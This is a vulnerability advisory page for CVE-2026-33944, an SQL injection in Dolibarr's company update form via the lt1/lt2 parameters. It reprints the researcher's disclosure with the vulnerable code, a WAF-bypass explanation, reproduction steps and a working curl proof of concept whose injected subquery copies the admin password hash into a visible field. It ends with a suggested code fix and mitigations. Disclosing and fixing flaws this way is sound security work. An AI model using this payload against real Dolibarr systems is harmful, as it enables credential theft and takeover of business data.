CVE-2026-33944 — dolibarr
HIGHCVE-2026-33944 is a high-severity (CVSS 8.8) remote code execution vulnerability in dolibarr/dolibarr. No vendor fix is recorded yet; mitigation options are listed below.
Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter
Real-World Exposure
dolibarr/dolibarrReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The localtax1_value parameter (lt1) is concatenated
directly into an SQL UPDATE statement in societe/class/societe.class.php at line 1672 without any escaping, type casting, or parameterized query binding.
An authenticated user with standard "Third Party: Create/Edit" permission can extract any data from the database, including password hashes, API keys, and all business data.
Tested on Dolibarr v23.0.0 (latest stable), default installation via official Docker image, MariaDB 10.11. No custom modules, no modified configuration.
Details
Vulnerable code (societe/class/societe.class.php, line 1672):
$sql .= ",localtax1_value =".$this->localtax1_value;
The value comes from GETPOST('lt1', 'alpha') (societe/card.php, line 1135). The only sanitization applied is trim() at line 1528 — no (float) cast, no
$db->escape().
The alpha input filter strips HTML tags and double quotes but does not strip single quotes, parentheses, commas, or SQL keywords. Since the injection point is
in a numeric SQL context (no quotes around the value), the attacker needs none of the filtered characters.
Why the WAF does not block this: Dolibarr's WAF (waf.inc.php) only checks SQL injection patterns in GET parameters, not POST. The POST-based lt1
parameter bypasses it entirely.
The same vulnerability exists for localtax2_value (parameter lt2) at line 1682.
Adjacent fields like localtax1_assuj are properly cast to (int), showing the developers were aware of injection risk but missed these fields.
PoC
Steps to reproduce:
- Install Dolibarr v23.0.0 (tested with official Docker image, MariaDB 10.11)
- Log in with a user that has "Third Parties: Create/Edit" permission (standard user, not admin)
- Create or open any existing Third Party (company) record
- Click "Edit" on the company card to open the update form
- Intercept the POST request (e.g., Burp Suite) and add these parameters to the request body:
localtax1assuj_value=1lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)
- Submit the form (server responds with HTTP 302 Found — successful update)
- Navigate to the company's Notes tab — the admin's MD5 password hash is now visible in the "Private Note" field
Verification: echo -n "admin123" | md5sum → 0192023a7bbd73250516f069df18b500 (matches exfiltrated hash).
Figure 1 — Notes tab before exploitation (Private Note field is empty):
<img width="1372" height="822" alt="Notes tab after exploitation — admin password hash exfiltrated" src="https://github.com/user-attachments/assets/d39502c1-bee0-4eae-a82a-40a026299841" />
Figure 2 — Burp Suite Repeater: full POST request headers and HTTP 302 Found response:
<img width="1095" height="732" alt="22" src="https://github.com/user-attachments/assets/86386423-bfa3-45fc-a2a9-9e2d1a1e1899" />Figure 3 — Burp Suite Repeater: request body with injected localtax1assuj_value=1 and lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1):
Figure 4 — Notes tab after exploitation: Private Note now contains 0192023a7bbd73250516f069df18b500 (MD5 hash of admin password "admin123"):
curl PoC:
curl -b cookies.txt \
--data-urlencode "action=update" \
--data-urlencode "token=CSRF_TOKEN" \
--data-urlencode "socid=1" \
--data-urlencode "name=TestCompany" \
--data-urlencode "status=1" \
--data-urlencode "localtax1assuj_value=1" \
--data-urlencode "lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)" \
--data-urlencode "client=1" \
--data-urlencode "typent_id=0" \
"http://TARGET/societe/card.php?socid=1"
Additional proof — arithmetic evaluation:
Sending lt1=3+4 results in localtax1_value=7.0000 stored in the database. The expression was evaluated by the SQL engine, confirming injection.
Additional proof — user count exfiltration:
Sending lt1=(SELECT COUNT(*) FROM llx_user) results in localtax1_value=1.0000.
Impact
An attacker with basic "Third Party: Create/Edit" permission (standard user, not admin) can:
- Read any data from the database (password hashes, API keys, customer/supplier data, invoices, bank account details)
- Modify any database record via additional SET clauses in the UPDATE injection
- Escalate to admin by cracking MD5 password hashes (Dolibarr uses unsalted MD5 by default)
- Potentially achieve RCE via admin features (Website module PHP injection, ModuleBuilder) after privilege escalation
Suggested Fix
// societe.class.php, line 1528 — add (float) cast:
$this->localtax1_value = (float) price2num(trim($this->localtax1_value));
// societe.class.php, line 1672 — add (float) cast:
$sql .= ",localtax1_value =".((float) $this->localtax1_value);
Apply same fix for localtax2_value (lines 1529, 1682).
Credit
Please credit this finding to: Grzegorz Tworek (F3715H) sec4check ([email protected])
References
A detailed write-up will be published after patch release at: https://www.sec4check.pl/blog/posts/cve-dolibarr-sql-injection-localtax-third-party.html
We kindly request including this URL in the CVE references.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | dolibarr/dolibarr | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dolibarr/dolibarr, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of dolibarr/dolibarr has shipped for CVE-2026-33944 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.
Frequently Asked Questions
Is CVE-2026-33944 in your dependencies?
Find it across Packagist, including transitive dependencies.